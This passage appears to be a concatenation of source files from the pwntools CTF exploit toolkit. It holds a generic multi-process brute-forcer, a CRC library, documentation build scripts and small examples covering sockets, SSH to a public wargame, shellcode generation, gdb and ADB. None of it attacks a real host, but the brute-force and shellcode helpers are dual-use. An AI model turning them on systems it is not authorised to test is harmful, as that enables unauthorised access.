      ['', '0', '1', '00', '01', '10', '11', '000']
    """
    for n in count():
        for e in product(alphabet, repeat = n):
            yield e

def chained(func):
    """chained(func)

    A decorator chaining the results of `func`.  Useful for generators.

    Arguments:
      func(function):  The function being decorated.

    Returns:
      A generator function whoose elements are the concatenation of the return
      values from ``func(*args, **kwargs)``.

    Example:
      >>> @chained
      ... def g():
      ...     for x in count():
      ...         yield (x, -x)
      >>> take(6, g())
      [0, 0, 1, -1, 2, -2]
    """
    def wrapper(*args, **kwargs):
        for xs in func(*args, **kwargs):
            for x in xs:
                yield x
    return wrapper

def bruteforce(func, alphabet, length, method = 'upto', start = None, databag = None):
    """bruteforce(func, alphabet, length, method = 'upto', start = None)

    Bruteforce `func` to return :const:`True`.  `func` should take a string
    input and return a :func:`bool`.  `func` will be called with strings from
    `alphabet` until it returns :const:`True` or the search space has been
    exhausted.

    The argument `start` can be used to split the search space, which is useful
    if multiple CPU cores are available.

    Arguments:
      func(function):  The function to bruteforce.
      alphabet:  The alphabet to draw symbols from.
      length:  Longest string to try.
      method:  If 'upto' try strings of length ``1 .. length``, if 'fixed' only
        try strings of length ``length`` and if 'downfrom' try strings of length
        ``length .. 1``.
      start: a tuple ``(i, N)`` which splits the search space up into `N` pieces
        and starts at piece `i` (1..N). :const:`None` is equivalent to ``(1, 1)``.

    Returns:
      A string `s` such that ``func(s)`` returns :const:`True` or :const:`None`
      if the search space was exhausted.

    Example:
      >>> bruteforce(lambda x: x == 'hello', string.lowercase, length = 10)
      'hello'
      >>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
      True
    """

    if   method == 'upto' and length > 1:
        iterator = product(alphabet, repeat = 1)
        for i in xrange(2, length + 1):
            iterator = chain(iterator, product(alphabet, repeat = i))

    elif method == 'downfrom' and length > 1:
        iterator = product(alphabet, repeat = length)
        for i in xrange(length - 1, 1, -1):
            iterator = chain(iterator, product(alphabet, repeat = i))

    elif method == 'fixed':
        iterator = product(alphabet, repeat = length)

    else:
        raise TypeError('bruteforce(): unknown method')

    if method == 'fixed':
        total_iterations = len(alphabet) ** length
    else:
        total_iterations = (len(alphabet) ** (length + 1) / (len(alphabet) - 1)) - 1

    if start is not None:
        i, N = start
        if i > N:
            raise ValueError('bruteforce(): invalid starting point')

        i -= 1
        chunk_size = total_iterations / N
        rest = total_iterations % N
        starting_point = 0

        for chunk in range(N):
            if chunk >= i:
                break
            if chunk <= rest:
                starting_point += chunk_size + 1
            else:
                starting_point += chunk_size

        if rest >= i:
            chunk_size += 1

        total_iterations = chunk_size

    h = log.waitfor('Bruteforcing')
    cur_iteration = 0
    if start != None:
        consume(i, iterator)
    for e in iterator:
        cur = ''.join(e)
        cur_iteration += 1
        if cur_iteration % 2000 == 0:
            progress = 100.0 * cur_iteration / total_iterations
            h.status('Trying "%s", %0.3f%%' % (cur, progress))
            if databag:
                databag["current_item"] = cur
                databag["items_done"] = cur_iteration
                databag["items_total"] = total_iterations
        res = func(cur)
        if res:
            h.success('Found key: "%s"' % cur)
            return cur
        if start != None:
            consume(N - 1, iterator)

    h.failure('No matches found')



def mbruteforce(func, alphabet, length, method = 'upto', start = None, threads = None):
    """mbruteforce(func, alphabet, length, method = 'upto', start = None, threads = None)

    Same functionality as bruteforce(), but multithreaded.

    Arguments:
      func, alphabet, length, method, start: same as for bruteforce()
      threads: Amount of threads to spawn, default is the amount of cores.
    """

    def bruteforcewrap(func, alphabet, length, method, start, databag):
        oldloglevel = context.log_level
        context.log_level = 'critical'
        res = bruteforce(func, alphabet, length, method=method, start=start, databag=databag)
        context.log_level = oldloglevel
        databag["result"] = res

    if start == None:
        start = (1, 1)

    if threads == None:
        try:
            threads = multiprocessing.cpu_count()
        except NotImplementedError:
            threads = 1

    h = log.waitfor('MBruteforcing')
    processes = [None] * threads
    shareddata = [None] * threads

    (i2, N2) = start
    totalchunks = threads * N2

    for i in range(threads):
        shareddata[i] = multiprocessing.Manager().dict()
        shareddata[i]['result'] = None
        shareddata[i]['current_item'] = ""
        shareddata[i]['items_done'] = 0
        shareddata[i]['items_total'] = 0

        chunkid = (i2-1) + (i * N2) + 1

        processes[i] = multiprocessing.Process(target=bruteforcewrap,
                args=(func, alphabet, length, method, (chunkid, totalchunks),
                        shareddata[i]))
        processes[i].start()

    done = False

    while not done:
        # log status
        current_item_list = ",".join(["\"%s\"" % x["current_item"]
                                for x in shareddata if x != None])
        items_done = sum([x["items_done"] for x in shareddata if x != None])
        items_total = sum([x["items_total"] for x in shareddata if x != None])

        progress = 100.0 * items_done / items_total if items_total != 0 else 0.0

        h.status('Trying %s -- %0.3f%%' % (current_item_list, progress))

        # handle finished threads
        for i in range(threads):
            if processes[i] and processes[i].exitcode != None:
                # thread has terminated
                res = shareddata[i]["result"]
                processes[i].join()
                processes[i] = None

                # if successful, kill all other threads and return success
                if res != None:
                    for i in range(threads):
                        if processes[i] != None:
                            processes[i].terminate()
                            processes[i].join()
                            processes[i] = None
                    h.success('Found key: "%s"' % res)
                    return res

                if all([x == None for x in processes]):
                    done = True
        time.sleep(0.3)
    h.failure('No matches found')






"""Module for calculating CRC-sums.

Contains all crc implementations know on the interwebz. For most implementations it
contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working direclty on
bit polynomials.

The current algorithm is super-linear and takes about 4 seconds to calculate
the crc32-sum of ``'A'*40000``.

An obvious optimization would be to actually generate some lookup-tables.
"""

import sys
import types

from . import known
from .. import fiddling
from .. import packing


class BitPolynom(object):
    def __init__(self, n):
        if not isinstance(n, (int, long)):
            raise TypeError("Polynomial must be called with an integer or a list")
        if n < 0:
            raise ValueError("Polynomials cannot be negative: %d" % n)
        self.n = n

    def __int__(self):
        return self.n

    def __add__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __radd__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __sub__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __rsub__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __xor__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __rxor__(self, other):
        return BitPolynom(int(self) ^ int(other))

    def __or__(self, other):
        return BitPolynom(int(self) | int(other))

    def __ror__(self, other):
        return BitPolynom(int(self) | int(other))

    def __and__(self, other):
        return BitPolynom(int(self) & int(other))

    def __rand__(self, other):
        return BitPolynom(int(self) & int(other))

    def __mul__(self, other):
        a, b = int(self), int(other)
        if a > b:
            a, b = b, a

        res = 0
        for n in range(a.bit_length()):
            if a & (1 << n):
                res ^= b << n
        return BitPolynom(res)

    def __rmul__(self, other):
        return self * other

    def __divmod__(self, other):
        other = BitPolynom(int(other))

        if other == 0:
            raise ZeroDivisionError

        resd = 0
        resm = int(self)

        for n in range(self.degree() - other.degree(), -1, -1):
            if resm & (1 << (n + other.degree())):
                resm ^= int(other) << n
                resd ^= 1 << n
        return (BitPolynom(resd), BitPolynom(resm))

    def __rdivmod__(self, other):
        return divmod(BitPolynom(int(other)), self)

    def __div__(self, other):
        return divmod(self, other)[0]

    def __rdiv__(self, other):
        return divmod(other, self)[0]

    def __mod__(self, other):
        return divmod(self, other)[1]

    def __rmod__(self, other):
        return divmod(other, self)[1]

    def __eq__(self, other):
        return int(self) == int(other)

    def __hash__(self):
        return int(self).__hash__()

    def __cmp__(self, other):
        return int(self).__cmp__(int(other))

    def __lshift__(self, other):
        return BitPolynom(int(self) << int(other))

    def __rlshift__(self, other):
        return BitPolynom(int(other) << int(self))

    def __rshift__(self, other):
        return BitPolynom(int(self) >> int(other))

    def __rrshift__(self, other):
        return BitPolynom(int(other) >> int(self))

    def degree(self):
        return max(0, int(self).bit_length()-1)

    def __repr__(self):
        if int(self) == 0:
            return '0'

        out = []
        for n in range(self.degree(), 0, -1):
            if int(self) & (1 << n):
                out.append("x**%d" % n)
        if int(self) & 1:
            out.append("1")
        return ' + '.join(out)

class Module(types.ModuleType):
    def __init__(self):
        super(Module, self).__init__(__name__)
        self._cached_crcs = None
        self.__dict__.update({
            '__file__'    : __file__,
            '__package__' : __package__,
        })

    def __getattr__(self, attr):
        crcs = known.all_crcs

        if attr == '__all__':
            return ['generic_crc', 'cksum', 'find_crc_function'] + sorted(crcs.keys())

        info = crcs.get(attr, None)
        if not info:
            raise AttributeError("'module' object has no attribute %r" % attr)

        func = self._make_crc(info['name'], info['poly'], info['width'], info['init'], info['refin'], info['refout'], info['xorout'], info['check'], 'See also: ' + info['link'])

        setattr(self, attr, func)

        return func

    def __dir__(self):
        return self.__all__

    @staticmethod
    def generic_crc(data, polynom, width, init, refin, refout, xorout):
        """A generic CRC-sum function.

        This is suitable to use with:
        http://reveng.sourceforge.net/crc-catalogue/all.htm

        The "check" value in the document is the CRC-sum of the string "123456789".

        Arguments:
            data(str):    The data to calculate the CRC-sum of. This should either be a string or a list of bits.
            polynom(int): The polynomial to use.
            init(int):    If the CRC-sum was calculated in hardware, then this would b
                        the initial value of the checksum register.
            refin(bool):  Should the input bytes be reflected?
            refout(bool): Should the checksum be reflected?
            xorout(int):  The value to xor the checksum with before outputting
        """

        polynom = BitPolynom(int(polynom)) | (1 << width)
        if polynom.degree() != width:
            raise ValueError("Polynomial is too large for that width")

        init   &= (1 << width)-1
        xorout &= (1 << width)-1

        if isinstance(data, list):
            # refin is not meaningful in this case
            inlen = len(data)
            p = BitPolynom(int(''.join('1' if v else '0' for v in data), 2))
        elif isinstance(data, str):
            inlen = len(data)*8
            if refin:
                data = fiddling.bitswap(data)
            p = BitPolynom(packing.unpack(data, 'all', endian='big', sign=False))
        p = p << width
        p ^= init << inlen
        p  = p % polynom
        res = p.n
        if refout:
            res = fiddling.bitswap_int(res, width)
        res ^= xorout

        return res

    @staticmethod
    def _make_crc(name, polynom, width, init, refin, refout, xorout, check, extra_doc = ''):
        def inner(data):
            return crc.generic_crc(data, polynom, width, init, refin, refout, xorout)
        inner.func_name = 'crc_' + name
        inner.__name__  = 'crc_' + name

        inner.__doc__   = """%s(data) -> int

        Calculates the %s checksum.

        This is simply the :func:`generic_crc` with these frozen arguments:

        * polynom = 0x%x
        * width   = %d
        * init    = 0x%x
        * refin   = %s
        * refout  = %s
        * xorout  = 0x%x

        %s

        Arguments:
            data(str): The data to checksum.

        Example:
            >>> print %s('123456789')
            %d
    """ % (name, name, polynom, width, init, refin, refout, xorout, extra_doc, name, check)

        return inner

    @staticmethod
    def cksum(data):
        """cksum(data) -> int

        Calculates the same checksum as returned by the UNIX-tool ``cksum``.

        Arguments:
            data(str): The data to checksum.

        Example:
            >>> print cksum('123456789')
            930766865
        """

        l = len(data)
        data += packing.pack(l, 'all', endian='little', sign=False)
        return crc.crc_32_posix(data)

    @staticmethod
    def find_crc_function(data, checksum):
        """Finds all known CRC functions that hashes a piece of data into a specific
        checksum. It does this by trying all known CRC functions one after the other.

        Arguments:
            data(str): Data for which the checksum is known.

        Example:
            >>> find_crc_function('test', 46197)
            [<function crc_crc_16_dnp at ...>]
        """
        candidates = []
        for v in known.all_crcs.keys():
            func = getattr(crc, v)
            if func(data) == checksum:
                candidates.append(func)
        return candidates


tether = sys.modules[__name__]
crc = sys.modules[__name__] = Module()
crc.__doc__ = tether.__doc__






import os
import re


def generate(self):
    """Generates a dictionary of all the known CRC formats from:
    http://reveng.sourceforge.net/crc-catalogue/all.htm

    See pwnlib/data/crcsum.txt for more information.
    """

    curdir, _ = os.path.split(__file__)
    path = os.path.join(curdir, '..', 'data', 'crcsums.txt')
    with open(path) as fd:
        data = fd.read()
    out = {}
    def fixup(s):
        if s == 'true':
            return True
        elif s == 'false':
            return False
        elif s.startswith('"'):
            assert re.match('"[^"]+"', s)
            return s[1:-1]
        elif s.startswith('0x'):
            assert re.match('0x[0-9a-fA-F]+', s)
            return int(s[2:], 16)
        else:
            assert re.match('[0-9]+', s)
            return int(s, 10)

    for l in data.strip().split('\n'):
        if not l or l[0] == '#':
            continue

        ref, l = l.split(' ', 1)

        cur = {}
        cur['link'] = 'http://reveng.sourceforge.net/crc-catalogue/all.htm#' + ref
        for key in ['width', 'poly', 'init', 'refin', 'refout', 'xorout', 'check', 'name']:
            cur[key] = fixup(re.findall(r'%s=(\S+)' % key, l)[0])

        cur['name'] = cur['name'].lower().replace('/', '_').replace('-', '_')
        assert cur['name'] not in out
        out[cur['name']] = cur

    return out






#!/usr/bin/env python

# -*- coding: utf-8 -*-

#
# Helper to build Dash docset from sphinx source files.
#
# Dash docsets can be read by various applications:
#
# Dash         OS X, iOS         https://kapeli.com
# Zeal         Linux, Windows    https://zealdocs.org
# Velocity     Windows           http://velocity.silverlakesoftware.com
# LovelyDocs   Android           http://lovelydocs.io
# dasht        POSIX             https://github.com/sunaku/dasht
# Helm Dash    emacs             https://github.com/areina/helm-dash
#

import argparse
import doc2dash.__main__
import os, os.path
import sphinx
import sqlite3
import sys

sys.path.append(os.path.abspath(os.path.join('..', 'pwnlib')))
import version

def main(args):
	"""Generate a Dash docset from Sphinx source files."""

	srcdir = args.srcdir
	dstdir = args.dstdir
	name = args.name

	if not os.path.exists(dstdir):
		os.makedirs(dstdir)

	# Generate HTML without indices.
	sphinx.build_main([ "sphinx-build", "-b", "html", "-d", os.path.join(dstdir, "doctrees"), \
		"-t", "dash", srcdir, os.path.join(dstdir, "html") ])

	# Convert to docset.
	try:
		doc2dash.__main__.main.main( \
			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
					"-f", "-I", "index.html"], "doc2dash", False)
	except SystemExit,e:
		pass

	# Insert a link to the online version.
	online = args.online
	if online is not None and online != "":
		url = online.replace("@VERSION", args.version)
		with open(os.path.join(dstdir, name+".docset", "Contents", "Info.plist"), "r+") as f_info:
			pl = f_info.read()
			pl = pl.replace("</dict>", \
				"\t<key>DashDocSetFallbackURL</key>\n\t<string>%s</string>\n</dict>" % url)
			f_info.seek(0)
			f_info.write(pl)
			f_info.truncate()

	# Modify the CSS to hide the menu included in the HTML.
	with open(os.path.join(dstdir, name+".docset", "Contents", "Resources", "Documents", "_static", "css", "theme.css"), "r+") as f_css:
		css = f_css.read()
		css = css.replace( \
			'@media screen and (max-width: 768px){.wy-body-for-nav{background:#fcfcfc}.wy-nav-top{display:block}',\
			'@media screen {.wy-body-for-nav{background:#fcfcfc}' )
		css = css.replace( \
			'@media screen and (max-width: 480px)', \
			'@media screen ')
		f_css.seek(0)
		f_css.write(css)
		f_css.truncate()

	# Modify the index
	db_conn = sqlite3.connect(os.path.join(dstdir, name+".docset", "Contents", "Resources", "docSet.dsidx"))
	try:
		db_conn.execute('INSERT INTO "searchIndex" ("name","type","path") VALUES ' \
			'("1 Contents", "Guide", "index.html"), ' \
			'("2 About pwntools", "Guide", "about.html"), ' \
			'("3 Installation", "Guide", "install.html"), ' \
			'("4 Getting Started", "Guide", "intro.html"), ' \
			'("5 Globals (pwn)", "Guide", "globals.html"), ' \
			'("6 Command Line Tools", "Guide", "commandline.html")')
		db_conn.execute('DELETE FROM "searchIndex" WHERE "type" = "Module" AND ("name" = "pwn" OR "name" = "pwnlib")')
		db_conn.commit()
	finally:
		db_conn.close()

	return 0

parser = argparse.ArgumentParser()
parser.add_argument("--name", help="docset name", default="pwntools")
parser.add_argument("--online", help="URL for online docs", default="https://pwntools.readthedocs.org/en/@VERSION/")
parser.add_argument("--version", help="pwntools version", default=version.__version__)
parser.add_argument("srcdir", help="Source directory containing .rst files")
parser.add_argument("dstdir", help="Destination and working directory")

main(parser.parse_args())






# -*- coding: utf-8 -*-
#
# pwntools documentation build configuration file, created by
# sphinx-quickstart on Wed May 28 15:00:52 2014.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import os
import subprocess
import sys

build_dash = tags.has('dash')

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath('../..'))

import pwnlib

# -- General configuration -----------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = [
    'pwnlib.internal.dochelper',
    'sphinx.ext.autodoc',
    'sphinx.ext.doctest',
    'sphinx.ext.linkcode',
    'sphinx.ext.autosummary',
    'sphinx.ext.coverage',
    'sphinx.ext.todo',
    'sphinx.ext.intersphinx',
    'sphinxcontrib.autoprogram',
    'sphinxcontrib.napoleon'
]

doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import pwnlib
pwnlib.context.context.reset_local()
pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
pwnlib.context.ContextType.defaults['randomize'] = False
pwnlib.term.text.when = 'never'
pwnlib.log.install_default_handler()
pwnlib.log.rootlogger.setLevel(1)
'''

autodoc_member_order = 'alphabetical'

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

doctest_test_doctest_blocks = True

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'pwntools'
copyright = u'2016, Gallopsled et al.'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
release = pwnlib.__version__
version = release.rsplit('.', 1)[0]

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = []

# The reST default role (used for this markup: `text`) to use for all documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []


# -- Options for HTML output ---------------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'default'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
html_domain_indices = not build_dash

# If false, no index is generated.
html_use_index = not build_dash

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Output file base name for HTML help builder.
htmlhelp_basename = 'pwntoolsdoc'


# -- Options for LaTeX output --------------------------------------------------

latex_elements = {
# The paper size ('letterpaper' or 'a4paper').
#'papersize': 'letterpaper',

# The font size ('10pt', '11pt' or '12pt').
#'pointsize': '10pt',

# Additional stuff for the LaTeX preamble.
#'preamble': '',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
  ('index', 'pwntools.tex', u'pwntools Documentation',
   u'2016, Gallopsled et al.', 'manual'),
]

intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
                       'paramiko': ('https://paramiko-docs.readthedocs.org/en/1.15/', None)}

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output --------------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    ('index', 'pwntools', u'pwntools Documentation',
     [u'2016, Gallopsled et al.'], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output ------------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
  ('index', 'pwntools', u'pwntools Documentation',
   u'', 'pwntools', 'CTF exploit writing toolkit.',
   'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

branch = release

try:
    git_branch = subprocess.check_output('git describe --tags', shell = True)
except subprocess.CalledProcessError:
    git_branch = '-'

try:
    if '-' in git_branch:
        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
except subprocess.CalledProcessError:
    pass

def linkcode_resolve(domain, info):
    if domain != 'py':
        return None
    if not info['module']:
        return None

    import importlib, inspect, types
    mod = importlib.import_module(info['module'])

    # Try to find the value
    val = mod
    for k in info['fullname'].split('.'):
        val = getattr(val, k, None)
        if val == None:
            break

    # Special case for shellcraft
    if info['module'].startswith('pwnlib.shellcraft.'):
        filename = 'pwnlib/shellcraft/templates/%s' % val._relpath

    # Case for everything else
    else:
        filename = info['module'].replace('.', '/') + '.py'

        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
            try:
                lines, first = inspect.getsourcelines(val)
                filename += '#L%d-%d' % (first, first + len(lines) - 1)
            except IOError:
                pass

    return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)


# The readthedocs theme is used by the Dash generator. (Can be used for HTML too.)

if build_dash:

    # on_rtd is whether we are on readthedocs.org
    on_rtd = os.environ.get('READTHEDOCS', None) == 'True'

    if not on_rtd:  # only import and set the theme if we're building docs locally
        import sphinx_rtd_theme
        html_theme = 'sphinx_rtd_theme'
        html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]

    # otherwise, readthedocs.org uses their theme by default, so no need to specify it






"""
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
that `<>` is just a shorthand.
"""

from pwn import *

while True:
    listen(1337).wait_for_connection() <> remote('google.com', 80)

# now point your browser (or curl(1)) to http://localhost:1337






"""
Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
"""

from pwn import *

context(arch='i386', os='linux')

shellcode = shellcraft.i386_to_amd64()
shellcode_asm = asm(shellcode)

print enhex(shellcode_asm)
print disasm(shellcode_asm)






"""
Just a lot of spinners!
"""

from pwn import *

context.log_level = 0

n = 1
h = log.waitfor('spinners running', status = str(n))

hs = []
print 'type "q" to quit'
while True:
    s = raw_input('> ')
    if s == 'q':
        break
    hs.append(log.waitfor(s, status = 'running'))
    n += 1
    h.status(str(n))

h.success()

for h in hs:
    h.failure()






"""
When not in lib-mode (import `pwn` rather than `pwnlib`) we parse the
commandline for variables definitions.  A variable definition has the form::

  <var>=<val>

where ``<var>`` contains only uppercase letters, digits and underscores and
doesn't start with a digit.

Try running this example with::

  $ python args.py RHOST=localhost RPORT=1337
"""

from pwn import *

print args['RHOST'] or 'RHOST is not set'
print args['RPORT'] or 'RPORT is not set'






"""
Example showing `pwnlib.ui.yesno()`
"""

from pwn import *

if ui.yesno('Do you like Pwntools?'):
    print ':D'
else:
    print ':('






"""
Script to generate README.md
"""

from pwn import *


out = '''# Examples
While these examples should all work, they are not very representative of
the pwntools project.

We have a plan to create a separate repository with examples, primarily
exploits. Until we do so, we recommend new users to look at
https://docs.pwntools.com, as this is a better overview of our features.

In no particular order the docstrings for each example:

'''

def append_example(_arg, top, names):
    global out
    for name in names:
        if not (name.endswith('.py') and name != __file__):
            continue
        path = os.path.join(top, name)[2:] # strip './'
        log.info('-> %s' % path)
        data = read(path).strip()
        if data[0:3] not in ('"""', "'''"):
            log.warning('  Has no docstring!')
            continue
        try:
            i = data.index(data[0:3], 3)
        except ValueError:
            log.warning('  Docstring is weird')
            continue
        doc = util.safeeval.const(data[0:i + 3])
        out += '* `%s`\n' % path
        out += '```%s```\n' % doc

os.path.walk('.', append_example, None)

write('README.md', out)






"""
An example showing interconnection of sockets.  This script will wait for three
connections on port 1337, then connect them like a three-way Uroboros.
"""

from pwn import *

cs = [listen(1337).wait_for_connection() for _ in range(3)]

cs[0] << cs[1] << cs[2] << cs[0]

cs[0].wait_for_close()
cs[1].wait_for_close()
cs[2].wait_for_close()






"""
Simple example showing how to use the remote
gdb debugging features available in pwntools.
"""

import getpass

from pwn import *

s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
p/x $pc
c''')

c.sendline('ls -la')
c.sendline('exit')
print c.recvall()






from pwn import *

# Tell pwntools that the target is an Android device
context.os='android'
context.arch='aarch64' # or 'arm'

# Optionally, set the remote ADB server address
context.adb_host='172.16.110.1'

# Wait for a device to become available
print adb.wait_for_device()

# Who am I?
print adb.process('id').recvall().strip()

# Interactive sessions!
io = adb.shell()
io.sendline('echo Hello, world; exit')
print io.recvall().replace('\r\n', '\n').strip()

# Debugging!
gdb.debug('sh').interactive()





"""
Example showing how to use the remote class.
"""

from pwn import *

sock = remote('127.0.0.1', 9001)

print sock.recvline()
sock.send('foo')
sock.interactive()






"""
Example showing `pwnlib.gdb.attach()`
"""

from pwn import *

bash = process('/bin/bash')
gdb.attach(bash, execute = '''
p "hello from pwnlib"
c
''')
bash.interactive()






"""
Example showing pwnlib's readline implementation and a few completers.  This
part of pwnlib will probably see some major changes soon, but we wanted to show
off some proof-of-concepts.
"""

from pwn import *
from pwnlib.term.completer import LongestPrefixCompleter
from pwnlib.term.completer import PathCompleter

c1 = LongestPrefixCompleter([
    'foobar',
    'foobaz',
    'fooqux',
    'exit',
    'enough!',
    ])

c2 = PathCompleter(mask = '*.py')

with c1:
    print 'type "exit" to exit'
    while True:
        s = term.readline.readline(prompt = '> ').strip()
        if s in ('exit', 'enough!'):
            break
        print 'You wrote', s
with c2:
    print 'choose a file'
    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
    print 'You picked', s






"""
Example showing how to use the ssh class.
"""

from pwn import *

shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0')

# Show basic command syntax
log.info("username: %s" % shell.whoami())
log.info("pwd: %s" % shell.pwd())

# Show full tube syntax
tube = shell.run('cat')
tube.send("Hello, cat")
tube.shutdown("out")
print tube.recvall()

# Show automatic working directories
shell.set_working_directory()
log.info("pwd: %s" % shell.pwd())

shell.upload_data("""
#include <stdio.h>
int main() {
    return printf("Hello, world");
}
""", 'example.c')

shell.gcc(['example.c','-o','example'])

print shell['./example']

# Show the different styles of calling
print shell.echo("single string")
print shell.echo(["list","of","strings"])
print shell["echo single statement"]

# Show off the interactive shell
shell.interactive()






"""
When running in term-mode (import `pwn` rather than `pwnlib`, stdout is a TTY
and not running in a REPL), we can do proper indentation where lines too long to
fit on a screen are split into multiple individually indented lines.

Too see the difference try running with::

  $ python indented.py

and

  $ python -i indented.py

Also notice that `pause()` can react on any key when in `term_mode`.
"""

from pwn import *

context.log_level = 'info'

log.indented('A' * 100)
log.indented('B' * 100)
log.indented('C' * 100)

pause()






'''
Example showing how to use `pwnlib.term.text`.

Try running with::

  $ TERM=xterm python text.py

and::

  $ TERM=xterm-256color python text.py
'''
from pwn import *

s = 'hello from pwntools'
print text.black_on_green(s)
print text.black_on_bright_green(s)
print text.green_on_black(s)
print text.bright_green_on_black(s)
print text.bold_green_on_black(s)






"""
Use case for `pwnlib.tubes.tube.clean_and_log`.

Sometimes you will have a solution to a challenge but you don't know what it
will look like when you get the flag.  Sometimes that will leave you with a
top-level exception, no flag, and angry team members.

Solution:
 1. Always run wireshark or tcpdump.  Always.
 2. Register <your socket>.clean or <your socket>.clean_and_log to run at exit.
"""

from pwn import *

os.system('''((
echo prefix sometext ;
echo prefix someothertext ;
echo here comes the flag ;
echo LostInTheInterTubes
) | nc -l 1337) &
''')

r = remote('localhost', 1337)
atexit.register(r.clean_and_log)

while True:
    line = r.recvline()
    print re.findall('^prefix (\S+)$', line)[0]






"""
"Easteregg"
"""

from pwn import *

splash()

h = log.waitfor("You wrote", status = "--")

while True:
    l = raw_input('> ')
    h.status(l.upper())






"""
Example showing `pwnlib.ui.options()`
"""

from pwn import *

opts = [string.letters[x] for x in range(10)]
